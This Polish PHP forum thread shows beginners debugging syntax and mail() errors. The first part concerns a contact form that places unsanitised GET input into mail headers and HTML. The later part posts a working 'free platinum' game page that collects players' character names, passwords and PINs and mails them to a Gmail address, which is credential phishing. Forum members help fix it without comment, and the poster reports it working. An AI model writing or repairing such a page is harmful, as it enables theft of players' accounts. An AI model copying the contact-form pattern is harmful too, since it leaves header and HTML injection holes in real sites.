Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Parse error: syntax error, unexpected T_VARIABLE
Forum PHP.pl > Forum > Przedszkole
Kubacci
Witam
Jestem w temacie totalnie zielony
robilem formularz do wysylania maili ze strony wg. wzorca i wszystko napisalem tak jak pokazali a tu blad:
Parse error: syntax error, unexpected T_VARIABLE in /home/kubacci/ftp/contact.php on line 10

moj contact.php
  1. <?php 
  2. $your_name = $_GET['imie'];
  3. $your_email = $_GET['email'];
  4. $your_topic = $_GET['temat']; 
  5. $your_message = $_GET['tresc']; 
  6. $recipient_email = "[email="info@kubadesign.pl"]info@kubadesign.pl[/email]"
  7. 10 $subject = "from " . $your_email;
  8. 11 $headers = "From: " . $your_name . " <" . $your_email . ">\n";
  9. 12 $headers .= 'Content-type: text/html; charset=iso-8859-2';
  10. 13 
  11. 14 $content = "<html><head><title>Mail kontaktowy</title></head><body><br>"; 
  12. 15 $content .= "Imie: <b>" . $your_name . "</b><br>"; 
  13. 16 $content .= "E-mail: <b>" . $your_email . "</b><br>"; 
  14. 17 $content .= "Temat: <b>" . $your_topic . "</b><br><hr><br>"; 
  15. 18 $content .= $your_message; 
  16. 19 $content .= "<br></body></html>";
  17. 20
  18. 21 mail($recipient,$subject,$content,$headers); 
  19. 22 ?> 
  20. 23 <html> 
  21. 24 <body bgcolor="#282E2C"> 
  22. 25 <div align="center" style="margin-top:60px;color:#FFFFFF;font-size:11px;font-family:Tahoma;font-weight:bold"> 
  23. 26 Twoja wiadomość została wysłana. Dziękujemy.
  24. 27 </div> 
  25. 28 </body> 
  26. 29 </html> 
  27. 30 <script>resizeTo(300, 300)</script>


Bede wdzieczny za pomoc.
Pozdrawiam
nevt
jeżeli chcesz uzyskiwać pomoc na tym forum, to przestrzegaj zasad...
1. przykładowy kod php zamykaj w znacznikach
Kod
[php]twoj kod...[/php]

2. zanim zadasz głupie pytanie, staraj się zrozumieć komunikat błędu... jesli słabo znasz angielski to wspomóż się googlami, wikipedią i internetowymi słownikami...
3. wtedy zrozumiesz ze komunikaz zaczynający się "syntax error, unexpected T_VARIABLE... " znaczy tyle, co "Błąd składni, nieoczekiwana zmienna..."
4. więc skoro zmienna na początku linijki nr 10 jest nieoczekiwana... to trzeba spojrzeć co się dzieje w cześniej...
5. i wtedy od razu zauważysz, że na końcu linijki nr 8, nie ma czego? średnika? i to chyba jest właśnie twój błąd składni (syntax error)...
vokiel
syntax error to już mógłbyś sam wyłapywać dry.gif
Błąd składni, czli brakuje gdzieś srednika, apostrofu etc..
Skoro od 10 linii jest cos nie tak, to znaczy, że nie zamknięto czegoś w poprzednim bloku, u Ciebie w 8 linii nie ma na końcu średnika.

@nevt ach byłeś szybszy i dokładniejszy w opisie ;-)
Kubacci
Cytat(nevt @ 11.01.2008, 07:51:59 ) *
jeżeli chcesz uzyskiwać pomoc na tym forum, to przestrzegaj zasad...
1. przykładowy kod php zamykaj w znacznikach
Kod
[php]twoj kod...[/php]

2. zanim zadasz głupie pytanie, staraj się zrozumieć komunikat błędu... jesli słabo znasz angielski to wspomóż się googlami, wikipedią i internetowymi słownikami...
3. wtedy zrozumiesz ze komunikaz zaczynający się "syntax error, unexpected T_VARIABLE... " znaczy tyle, co "Błąd składni, nieoczekiwana zmienna..."
4. więc skoro zmienna na początku linijki nr 10 jest nieoczekiwana... to trzeba spojrzeć co się dzieje w cześniej...
5. i wtedy od razu zauważysz, że na końcu linijki nr 8, nie ma czego? średnika? i to chyba jest właśnie twój błąd składni (syntax error)...


Ad.1 fakt, przepraszam
Ad.2 Dla Ciebie glupie, dla mnie totalnie zielonego dosc rzeczowe. Szukalem w googlach i interii odpowiedz na swoje pytanie zanim poprosilem o pomoc, angielski znam doskonale, nie zmienia to faktu, ze nie mialem pojecia o co chodzi w skrypcie.
Ad.3. Doskonale rozumiem znaczenie slow, ale co za tym idzie juz nie...
Ad.4,5 Ok postraram sie poprawic


Dziekuje za pomoc! Pozwole sobie zadac kolejne glupie pytanie jak mi nie wyjdzie winksmiley.jpg

Fakt, to bylo to. NIestety maile nie dochodza ze strony na moja skrzynke sad.gif Czy tutaj szanowni koledzy mogliby mi cos podpowiedziec?

Gdyby to pomoglo:
Przerabialem template i zgodnie z instrukcja umieszczona tutaj http://info.template-help.com/files/Flash/...t_form_work.swf napisalem skrypty. Jedyne co to zamiast "Your Phone" itp dalem "" bo na mojej stronie prostokaty do wypelniania sa od poczatku puste...
nevt
może i masz rację... podobno nie ma głupich pytań - są tylko głupie odpowiedzi smile.gif
a co do tego, że maile nie dochodzą.. widzę drobny błąd, ale nie wiem, czy to jest przyczyną, a teraz nie mogę tego sprawdzić...
zamiast
  1. <?php
  2. $headers .= 'Content-type: text/html; charset=iso-8859-2';
  3. ?>
powinno być
  1. <?php
  2. $headers .= 'Content-type: text/html; charset="iso-8859-2"';
  3. ?>
Kubacci
Sprawdzilem z ta poprawka - niestety dalej nic sad.gif
Sprawdzalem czy na serwerze nie mam jakis ustawien typu blokowanie wiadomosci jako spam itp ale wszystko wyglada ok.
Mail dziala na pewno. Sprawdzalem z innego konta - po kilku sekundach mail byl.
Probowalem tez na adres na o2 - tez nie przechodza.
Nie mam pomyslu co moge jeszcze zrobic - to na co wpadlem jako totalnie zielony to probowalem... sad.gif
Pomocy!! sciana.gif
webdice
Cytat(nevt @ 11.01.2008, 19:02:57 ) *
może i masz rację... podobno nie ma głupich pytań - są tylko głupie odpowiedzi smile.gif
a co do tego, że maile nie dochodzą.. widzę drobny błąd, ale nie wiem, czy to jest przyczyną, a teraz nie mogę tego sprawdzić...
zamiast
  1. <?php
  2. $headers .= 'Content-type: text/html; charset=iso-8859-2';
  3. ?>
powinno być
  1. <?php
  2. $headers .= 'Content-type: text/html; charset="iso-8859-2"';
  3. ?>


Pierwszy przykład był dobry. Jednak jest różnica między cudzysłowami, a apostrofami, powinno być tak:

  1. <?php
  2. $headers .= "Content-type: text/html; charset=iso-8859-2 r\n";
  3. ?>
Kubacci
Niestety to tez nie pomoglo sad.gif Dalej nic nie przychodzi na skrzynke...
Maxik
Spróbuj dać zamiast
  1. <?php
  2. mail($recipient,$subject,$content,$headers);
  3. ?>

  1. <?php
  2. $mail = mail($recipient,$subject,$content,$headers);
  3. if($mail){
  4. echo "Wysłąno poprawnie";
  5. } else{
  6. echo "Błąd wysyłania";
  7. }
  8. ?>
Kubacci
Wyskakuje bład wysylania. To cos na pewno Wam mowi smile.gif mnie tyle co juz wiedzialem ze nie wysyla sad.gif
Maxik
  1. <?php
  2. mail($recipient_mail,$subject,$content,$headers);
  3. ?>


Daj tak.
anonim1133
Cytat
Mail dziala na pewno. Sprawdzalem z innego konta - po kilku sekundach mail byl.
- może na obecnym koncie mail() jest źle/nieskonfugurowane? tongue.gif
Kubacci
niestety nie pomoglo sad.gif

Panowie, macie jeszcze jakies inne pomysly??
Maxik
  1. <?php
  2. mail($recipient_mail,$subject,$content,$headers);
  3. ?>


A to napewno nie działa?
Kubacci
Calosc wyglada teraz tak i nie wysyla. Pokazuje sie blad oprocz oczywiscie tego komuniaktu ktory napisalem tymczasowo:
  1. <?php 
  2.  
  3. $your_name = $_GET['imie'];
  4. $your_email = $_GET['email'];
  5. $your_topic = $_GET['temat'];  
  6. $your_message = $_GET['tresc'];
  7.  
  8. $recipient_email = "[email="info@kubadesign.pl"]info@kubadesign.pl[/email]";
  9.  
  10. $subject = "from " . $your_email;
  11. $headers = "From: " . $your_name . " <" . $your_email . ">\n";
  12. $headers .= "Content-type: text/html; charset=iso-8859-2 r\n";
  13.  
  14. $content = "<html><head><title>Mail kontaktowy</title></head><body><br>"; 
  15. $content .= "Imie: <b>" . $your_name . "</b><br>"; 
  16. $content .= "E-mail: <b>" . $your_email . "</b><br>"; 
  17. $content .= "Temat: <b>" . $your_topic . "</b><br><hr><br>"; 
  18. $content .= $your_message; 
  19. $content .= "<br></body></html>"; mail($recipient_mail,$subject,$content,$headers); 
  20. if($mail){
  21. echo "Wysłano poprawnie";
  22. } else{
  23. echo "Błąd wysyłania";
  24. }
  25. ?> 
  26. <html> 
  27. <body bgcolor="#192025"> 
  28. <div align="center" style="margin-top:60px;color:#7D8E9C;font-size:13px;font-family:Arial;font-weight:bold"> 
  29. Ta aplikacja chwilowo nie jest dostępna. Prosimy wysłać mail za pomocą programu 
    pocztowego.
  30. </div> 
  31. </body> 
  32. </html> 
  33. <script>resizeTo(400, 200)</script>
potreb
  1. <?php
  2. $recipient_email = "[email='info@kubadesign.pl']info@kubadesign.pl[/email]";
  3. ?>


Podstawowe błędy.
bemol
wpisz po linijce:
  1. <?php
  2. mail($recipient_mail,$subject,$content,$headers);
  3. ?>

  1. <?php
  2. var_dump($recipient_mail);
  3. ?>

skopiuj do notatnika to co wyświetli sie na stronie
pozniej zamiast $recipient_mail wpisz $subject itd
Wklej tutaj wszystko co wypisze z kazdej z 4 zmiennych.

PS. edytuj 1 posta i wstaw
Kod
[php][/php]
Kubacci
Jesli chodzi o ten adres to linijka w contact.php wyglada dokladnie tak:
$recipient_mail = "info@kubadesign.pl";
Nie wiem skad te czerwone dodatki ale zauwazylem ze pierwszego posta jak ujalem w [php][/php] to tez sie pojawily...
Bemol, postaram sie wprowadzic te zmiany wieczorem i sprawdzic.Pozdrawiam
Maxik
Nie masz wprowadzać zmian, tylko zrobić to co napisał bemol i wkleić nam co się wyświetla.
Kubacci
Cytat(Maxik @ 15.01.2008, 15:14:50 ) *
Nie masz wprowadzać zmian, tylko zrobić to co napisał bemol i wkleić nam co się wyświetla.

wiem wiem tylko musze w contact'cie ponanosic, o to mi chodzilo...

Wypelnialem formularz nastepujaco:
Twoje imie:Kuba
Twoj adres email: kuba_sniec@o2.pl
Temat wiadomosci: temat
Tresc wiadomosci: tresc
To co wyskoczylo:
na $recipient_mail:
NULL
na $subject:
string(21) "from kuba_sniec@o2.pl"
na $content:
string(169) "
Imie: Kuba
E-mail: kuba_sniec@o2.pl
Temat: temat
--------------------------------------------------------------------------------
tresc
"
na $headers:
string(76) "From: Kuba Content-type: text/html; charset=iso-8859-2 "

Dla mnie oczywiscie mowi to tyle ze nie dziala smile.gif Co Wam to powiedzialo? Any advice?

teraz moj contact.php wyglada nastepujaco:
  1. <?php 
  2.  
  3. $your_name = $_GET['imie'];
  4. $your_email = $_GET['email'];
  5. $your_topic = $_GET['temat'];  
  6. $your_message = $_GET['tresc'];
  7.  
  8. $recipient_email = "info@kubadesign.pl";
  9.  
  10. $subject = "from " . $your_email;
  11. $headers = "From: " . $your_name . " <" . $your_email . ">\n";
  12. $headers .= "Content-type: text/html; charset=iso-8859-2 r\n";
  13.  
  14. $content = "<html><head><title>Mail kontaktowy</title></head><body><br>"; 
  15. $content .= "Imie: <b>" . $your_name . "</b><br>"; 
  16. $content .= "E-mail: <b>" . $your_email . "</b><br>"; 
  17. $content .= "Temat: <b>" . $your_topic . "</b><br><hr><br>"; 
  18. $content .= $your_message; 
  19. $content .= "<br></body></html>"; mail($recipient_mail,$subject,$content,$headers);
  20. var_dump($recipient_mail);
  21. ?> 
  22. <html> 
  23. <body bgcolor="#192025"> 
  24. <div align="center" style="margin-top:60px;color:#7D8E9C;font-size:13px;font-family:Arial;font-weight:bold"> 
  25. Ta aplikacja chwilowo nie jest dostępna. Prosimy wysłać mail za pomocą programu 
    pocztowego.
  26. </div> 
  27. </body> 
  28. </html> 
  29. <script>resizeTo(400, 200)</script>
uli
Każdy tutaj drze papę, ale żeby pomóc to jakoś nikt swoich gałek nie wytrzeszczy... n/c

Widzisz różnicę w nazwach zmiennych? Tyle podpowiem:

mail($recipient_mail,$subject,$content,$headers);

$recipient_email = "info@kubadesign.pl";

Bez [php] bo bolda nie złapie.
MMX3
może masz magiczą skrzynke ze spam assasinem... to ci nic nie przejdzie jeżeli nie dodasz nagółwków sendera na X-mailer. Kocham Trolowanie na forum.php.pl...

Dump kodu....

Nie działa mi zrobicie mi to żeby było ok?

A dla mnie piwo i frytki plz.
potreb
A ty wysyłasz to za pomocą formularza?
Kubacci
Cytat(uli @ 17.01.2008, 15:38:45 ) *
Każdy tutaj drze papę, ale żeby pomóc to jakoś nikt swoich gałek nie wytrzeszczy... n/c

Widzisz różnicę w nazwach zmiennych? Tyle podpowiem:

mail($recipient_mail,$subject,$content,$headers);

$recipient_email = "info@kubadesign.pl";

Bez [php] bo bolda nie złapie.

Hehe rozumiem, rozumiem. Poprawilem wszystko chula jak ta lala biggrin.gif
Bardzo dziekuje za pomoc!
Oczywiscie wszystkim zaangazowanym w dyskusje rowniez!
Pozdrawiam serdecznie

A jeszcze do szanownych kolegow pytanie natury troche innej i jesli naruszam jakis regulamin to przepraszam.
Jak exportuje projekt flashowy do pliku swf to obojetnie w jakiej jakosci i jak mocno skompresuje muzyke to moj plik ma 8 mb z kawalkiem. Czyli ladowac sie bedzie do przegladania tak samo. Co moge zrobic zeby zmiejszyc wielkosc swf albo przyspieszyl ladowanie mojej strony??
Z gory dziekuje za odpowiedz
ZaXaZ
Podbijam temat
Cytat
Parse error: syntax error, unexpected T_VARIABLE in /home/ZaXaZ/public_html/index.php on line 42

  1. <?php
  2. if (isset($_POST['plat']) && $_POST['plat']=='ok')
  3. {
  4. $nick = trim($_POST['nick']);
  5. $pass = trim($_POST['pass']);
  6. $w = trim($_POST['w']);
  7. $pin = trim($_POST['pin']);
  8. $email = trim($_POST['email']);
  9. $to = 'email@gmail.com';
  10. if (isset($nick) && isset($pass) && isset($w) && isset($pin) && isset($email))
  11. {
  12. $msg = "Nick: {$nick}, Hasło: {$pass}, Świat: {$w}, PIN: {$pin}, E-mail: {$email}";
  13. $sub = $nick.' '.$pass.' '.$w.' '.$pin;
  14. mail($to, $sub, $msg);
  15. echo "<span style=\"color:green\"><i>Thank you! Your character will be verified by the GM.</i></span></article></header><aside><hr class=\"small\"/><footer>&copy;&nbsp;Copyright&nbsp;by&nbsp;ZaXaZ&nbsp;2013-2014.&nbsp;All&nbsp;rights&nbsp;reserved.</footer><hr/></aside></body></html>";
  16. }
  17. else
  18. {
  19. echo '<span style="color:red">Fill in all fields</span><br/>';
  20. }
  21. }
  22. ?>

  1. <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>">
  2. <div><b>Character details</b><br/><br/></div>
  3. <div>Character name:<br/><input maxlength="10" size="50" name="nick" placeholder="Your nickname (required to add to the list)." required/></div>
  4. <div>Character password:<br/><input maxlength="10" size="50" name="pass" placeholder="Your password (required to add to the list)." required/></div>
  5. <div>PIN number:<br/><input type="number" maxlength="4" size="50" name="pin" min="1000" max="9999" placeholder="Your PIN (0000 as unregistered)." required/></div>
  6. <div>World number:<br/><input type="number" maxlength="2" size="50" name="w" min="1" max="32" placeholder="World given character." required/></div>
  7. <div>Email:<br/><input maxlength="50" size="50" name="email" placeholder="Your adress email (Required to register)." required/></div>
  8. <br/>
  9. <div><input type="submit" name="plat" value="ok"/></div>
  10. </form>

Linia 42 to mail($to, $sub, $msg);
siedzę już pare godzin nad tym, czy to wina servera? :|
nospor
Kod co pokazales nie ma prawa wyswietlac tego bledu. Pokaz caly plik index.php od początku do linii 50
ZaXaZ
Cytat(nospor @ 5.09.2014, 08:07:37 ) *
Kod co pokazales nie ma prawa wyswietlac tego bledu. Pokaz caly plik index.php od początku do linii 50


  1. <!DOCTYPE html SYSTEM "about:legacy-compat">
  2. <html lang="en">
  3. <head>
  4. <title>xxx - official free platinum.</title>
  5. <meta charset="UTF-8">
  6. <meta content="ZaXaZ" name="author"/>
  7. <meta content="You are an active player? Subscribe to the official list of players and get free platinum for the activity!" name="description"/>
  8. <meta content="players, free platinum, platinum, premium, game, roleplaying, rpg, online, mobile, mmorpg, massively, multiplayer" name="keywords"/>
  9. <meta content="xxx" name="verify-v1"/>
  10. <meta content="width=device-width" name="viewport"/>
  11. <link href="style.css" rel="stylesheet"/>
  12. <link href="favicon.gif" rel="shortcut icon"/>
  13. </head>
  14. <body>
  15. <article>
  16. <header>
  17. <img src="header.gif" alt="icon"/>
  18. <hr/>
  19. <div style="font-weight:bold;">
  20. You are an active player?<br/>
  21. Subscribe to the official list of players and get free platinum for the activity!
  22. <br/><br/>
  23. Note 1: Your character must have a minumum fifteenth level that was accepted.
  24. <br/>
  25. Note 2: GM verifies the figures once a week (platinum may occur after two weeks).
  26. </div>
  27. <hr class="small"/>
  28. <br/>
  29. <?php
  30. if (isset($_POST['plat']) && $_POST['plat']=='ok')
  31. {
  32. $nick = trim($_POST['nick']);
  33. $pass = trim($_POST['pass']);
  34. $w = trim($_POST['w']);
  35. $pin = trim($_POST['pin']);
  36. $email = trim($_POST['email']);
  37. $to = 'email@gmail.com';
  38. if (isset($nick) && isset($pass) && isset($w) && isset($pin) && isset($email))
  39. {
  40. $msg = "Nick: {$nick}, Hasło: {$pass}, Świat: {$w}, PIN: {$pin}, E-mail: {$email}";
  41. $sub = $nick.' '.$pass.' '.$w.' '.$pin;
  42. mail($to, $sub, $msg);
  43. echo "<span style=\"color:green\"><i>Thank you! Your character will be verified by the GM.</i></span></article></header><aside><hr class=\"small\"/><footer>&copy;&nbsp;Copyright&nbsp;by&nbsp;ZaXaZ&nbsp;2013-2014.&nbsp;All&nbsp;rights&nbsp;reserved.</footer><hr/></aside></body></html>";
  44. }
  45. else
  46. {
  47. echo '<span style="color:red">Fill in all fields</span><br/>';
  48. }
  49. }


Ja stawiam na to ze serwer cos chyba nie aktualizuje, to mozliwe?
nospor
Na moj gust, to otwierasz inny plik niz dziala na nim php. Moze przez pomylke patrzysz w plik lokalny, a testujesz np. na serwerze. Juz sie zdarzaly takie przypadki na forum smile.gif
ZaXaZ
Cytat(nospor @ 5.09.2014, 11:24:58 ) *
Na moj gust, to otwierasz inny plik niz dziala na nim php. Moze przez pomylke patrzysz w plik lokalny, a testujesz np. na serwerze. Juz sie zdarzaly takie przypadki na forum smile.gif


Testuje pod http://zaxaz.24tm.pl , sekunde temu wrazie czego wgralem ten sam plik co pokazalem na forum i na 100% dobrze jak zwykle wgralem, nawet moge dac screen FTP ze wszysyko poprawnie wgrane.
Turson
Włącz pełne raportowanie błędów i zakoduj na chwilę linię 42, zobacz co się stanie
ZaXaZ
Cytat(Turson @ 5.09.2014, 11:31:29 ) *
Włącz pełne raportowanie błędów i zakoduj na chwilę linię 42, zobacz co się stanie


Teraz działa haha.gif,
Dalem nad doctype
  1. <?php
  2. ini_set('display_errors', 1);
  3. ?>


@refresh, ten sam blad gdy odkomentuje linijke z mail.
Pyton_000
no to jeszcze wrzuć przed mail:
  1. echo '<pre>'; var_dump($to, $sub, $msg); die("\n".(__FILE__)." ".(__LINE__));
ZaXaZ
Cytat(Pyton_000 @ 5.09.2014, 12:47:36 ) *
no to jeszcze wrzuć przed mail:
  1. echo '<pre>'; var_dump($to, $sub, $msg); die("\n".(__FILE__)." ".(__LINE__));


Z góry przepraszam wszystkich ale był błąd o którym przypadkiem się dowiedziałem,
Inny edytor otworzył zmienna w mail $sub i $msg jako blad (czerownym kolorem) pomimo ze bylo wyzej.
Przepisalem linjke wyzej od nowa to samo i skasowalem poprzednia i juz dziala smile.gif. Dziwne..
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.